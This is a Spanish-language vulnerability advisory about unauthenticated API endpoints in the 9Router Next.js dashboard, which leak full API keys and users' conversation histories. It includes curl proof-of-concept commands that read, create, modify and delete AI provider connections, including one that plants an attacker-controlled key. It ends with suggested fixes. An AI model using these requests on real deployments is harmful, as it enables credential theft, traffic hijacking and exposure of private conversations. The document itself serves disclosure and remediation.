Resumen
Se han descubierto múltiples vulnerabilidades críticas de seguridad en la API del dashboard Next.js de 9Router. Los endpoints /api/providers carecen completamente de autenticación, lo que permite a cualquier actor no autenticado crear, leer, actualizar y eliminar conexiones de proveedores de IA. Adicionalmente, /api/usage/stats expone claves API completas en texto plano, mientras que /api/usage/request-logs y /api/usage/request-details exponen el historial de peticiones de todos los usuarios y el contenido íntegro de sus conversaciones, incluyendo prompts de sistema, mensajes de usuario y respuestas del asistente, sin requerir autenticación alguna.
Endpoints afectados
| Endpoint | Método | Problema |
|---|---|---|
/api/providers | GET | Lista todas las conexiones de proveedores con credenciales parciales, tokens OAuth e IDs de cuenta |
/api/providers/:id | GET | Lectura de cualquier proveedor individual (IDOR) |
/api/providers | POST | Creación de conexiones de proveedor arbitrarias con claves API controladas por el atacante |
/api/providers/:id | PUT | Modificación de cualquier conexión de proveedor existente |
/api/providers/:id | DELETE | Eliminación de cualquier conexión de proveedor |
/api/usage/stats | GET | Expone claves API completas en texto plano, desglose de uso por cuenta y datos de coste |
/api/usage/request-logs | GET | Expone los registros de peticiones de todos los usuarios (modelo, tokens, coste, timestamp, proveedor) |
/api/usage/request-details/:id | GET | Expone turnos completos de conversación incluyendo prompts de sistema, mensajes de usuario y respuestas del asistente |
/api/version | GET | Expone información de la versión actual |
/api/models | GET | Expone el catálogo completo de enrutamiento de modelos |
/api/v1/models | GET | Expone el listado de modelos |
Impacto
Crítico: CRUD sobre proveedores sin autenticación
Un atacante puede:
- Añadir un proveedor malicioso: inyectar un proveedor que enrute el tráfico a través de su propio servidor, capturando todos los prompts, respuestas y claves API que transiten por 9Router.
- Modificar proveedores existentes: reemplazar claves API por otras controladas por el atacante y redirigir el tráfico.
- Eliminar todos los proveedores: provocar una denegación de servicio completa.
- Leer todas las configuraciones de proveedores: extraer credenciales parciales, tokens OAuth de GitHub Copilot, IDs de cuenta de Cloudflare y direcciones de correo electrónico.
Crítico: Filtración completa de claves API via /api/usage/stats
El endpoint devuelve cadenas completas de claves API (por ejemplo, sk-...) en texto plano junto con datos de uso por clave, lo que permite el uso no autorizado de las cuentas de proveedores de IA conectadas.
Crítico: Filtración del historial de conversaciones
/api/usage/request-details devuelve el historial completo de conversaciones de las sesiones de IA de otros usuarios, incluyendo prompts de sistema, mensajes de usuario, respuestas del asistente, llamadas a herramientas y trazas de razonamiento.
Pasos para reproducir
1. Lectura no autenticada de todos los proveedores
curl -s https://<host>/api/providers
Devuelve todas las conexiones de proveedores con direcciones de correo, tipo de autenticación, IDs de cuenta y prefijos parciales de claves API.
2. Creación de un proveedor sin autenticación
curl -X POST https://<host>/api/providers \
-H "Content-Type: application/json" \
-d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}'
Devuelve el objeto de conexión creado con un nuevo UUID e isActive: true.
3. Modificación de un proveedor existente sin autenticación
curl -X PUT https://<host>/api/providers/<existing-uuid> \
-H "Content-Type: application/json" \
-d '{"name":"modified","apiKey":"sk-attacker-key"}'
Devuelve el objeto de conexión actualizado.
4. Eliminación de un proveedor sin autenticación
curl -X DELETE https://<host>/api/providers/<existing-uuid>
Devuelve {"message":"Connection deleted successfully"}.
5. Lectura de estadísticas de uso con claves API completas
curl -s https://<host>/api/usage/stats
Devuelve cadenas completas de claves API, desglose de tokens y costes por cuenta, y peticiones recientes.
6. Lectura de registros de peticiones
curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50"
Devuelve registros de peticiones paginados con timestamps, modelos, proveedores, correos de usuarios y conteos de tokens.
7. Lectura de una conversación completa
curl -s https://<host>/api/usage/request-details/<request-uuid>
Devuelve los turnos completos de conversación para esa petición.
8. Lectura de información de versión
curl -s https://<host>/api/version
Devuelve {"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}.
Causa raíz
Las rutas de API de Next.js bajo src/app/api/* carecen de middleware de autenticación en varios endpoints. Concretamente:
/api/providers/*: sin verificación de autenticación antes de las operaciones CRUD sobre las conexiones de proveedores almacenadas en base de datos./api/usage/stats: sin verificación de autenticación antes de devolver datos de uso agregados que incluyen claves API completas./api/usage/request-logs: sin verificación de autenticación antes de devolver el historial de peticiones./api/usage/request-details/:id: sin verificación de autenticación antes de devolver el contenido íntegro de las conversaciones.
Correcciones sugeridas
- Añadir middleware de autenticación a todas las rutas
/api/providers/*(GET, POST, PUT, DELETE). - Añadir middleware de autenticación a todas las rutas
/api/usage/*. - No devolver nunca cadenas completas de claves API en ninguna respuesta de la API: devolver únicamente claves enmascaradas.
- No devolver nunca tokens de GitHub Copilot ni secretos OAuth similares en respuestas de la API.
- Implementar controles de autorización adecuados para que los usuarios solo puedan acceder a sus propios datos.
- Añadir limitación de tasa a los endpoints públicos.
